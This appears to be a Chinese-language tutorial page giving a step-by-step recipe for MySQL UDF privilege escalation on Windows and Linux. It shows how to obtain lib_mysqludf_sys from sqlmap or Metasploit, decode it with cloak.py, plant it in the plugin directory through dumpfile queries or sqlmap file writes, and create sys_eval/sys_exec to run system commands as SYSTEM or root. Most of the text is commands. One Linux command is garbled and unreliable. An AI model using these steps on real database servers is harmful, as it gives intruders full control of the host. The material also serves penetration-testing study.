UDF提权
UDF提权的原理
- MySQL数据库
- 用户自定义的MySQL函数就叫UDF(User Define Function)
- 提权满足的要求
- MySQL进程权限是系统权限(Windows下的System,Linux下Root)
- 拥有数据库root账号和密码
- 能够正常连接MySQL
Windows下UDF提权
Mysql版本 > 5.1
寻找插件目录
show variables like "%plugin%";
查看数据库版本
select version();
提权方式
准备
- 从Sqlmap的\data\udf\mysql\windows\32或者64
- 或者从metasploit的/usr/share/metasploit-framework/data/exploits/mysql/*32.dll或者*64.dll(这是指mysql是32位还是64位)把lib_mysqludf_sys.dll_文件拿出来
- 然后再从Sqlmap的\extra\cloak把cloak.py拿出来
- 然后执行命令,cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll(这里是需要把文件解码出来才能使用,从metasploit拿出来的不用解码)
- 然后需要打开Mysql的配置文件my.ini
- 加入plugin_dir=""和secure-file-priv=""在文件里面的[mysqld]的下面
(第一种导入方法)然后把udf.dll放去C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin里面(假如没有lib\plugin文件夹,需要自己创建)(别的方法在下面)
(第二种导入方法)把解码好的udf.dll放进winhex,然后复制出16进制,select 0x十六进制 into dumpfile "C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll"
(第三种导入方法)sqlmap -d "mysql://root:[email protected]:3306/mysql" --file-write="/home/l/udf.dll" --file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/udf.dll"
提权
登录数据库
CREATE FUNCTION sys_eval/sys_exec RETURNS STRING SONAME 'udf.dll';(创建一个函数)
sys_eval是命令执行,sys_exec是运行程序
sys_eval输错命令MySQL不会闪退,sys_exec输错程序名会闪退
select sys_eval/sys_exec('whoami');(这时就发现可以利用数据库执行cmd命令)
Mysql版本 < 5.1
上传文件到c:\windows\system32就可以了,然后步骤和上面的一样
Linux下UDF提权
提权方式
准备
- 从Sqlmap的\data\udf\mysql\linux\32或者64
- 或者从metasploit的/usr/share/metasploit-framework/data/exploits/mysql/*32.so或者*64.so(这是指mysql是32位还是64位)把文件拿出来
- 然后再从Sqlmap的\extra\cloak把cloak.py拿出来
- 然后执行命令,cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.so(这里是需要把文件解码出来才能使用,从metasploit拿出来的不用解码)
- 然后需要打开Mysql的配置文件my.cnf
- 加入plugin_dir="/usr/lib64/mysql/plugin"在文件里面的[mysqld]的下面
(第一种导入方法)然后把udf.so放去/usr/lib64/mysql/plugin里面(假如没有plugin文件夹,需要自己创建)(别的方法在下面)(chmod 777 /usr/lib64/mysql/plugin记得给权限)
(第二种导入方法)把解码好的udf.so放进winhex,然后复制出16进制,into dumpfile "/home/l/udf.so" select unhex('16进制') into dumpfile '/usr/lib64/mysql/plugin/udf.so';
(第三种导入方法)sqlmap -d "mysql://root:[email protected]:3306/mysql" --file-write="/home/l/udf.dll" --file-dest="/usr/lib64/mysql/plugin/udf.so"
提权
登录数据库
CREATE FUNCTION sys_eval/sys_exec RETURNS STRING SONAME 'udf.so';(创建一个函数)
sys_eval是命令执行,sys_exec是运行程序
sys_eval输错命令MySQL不会闪退,sys_exec输错程序名会闪退
select sys_eval/sys_exec('whoami');(这时就发现可以利用数据库执行cmd命令)
其它
删除函数
drop function 函数名;
利用ADS创建文件夹
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';(实验没成功)
b
:flower-flower: 赞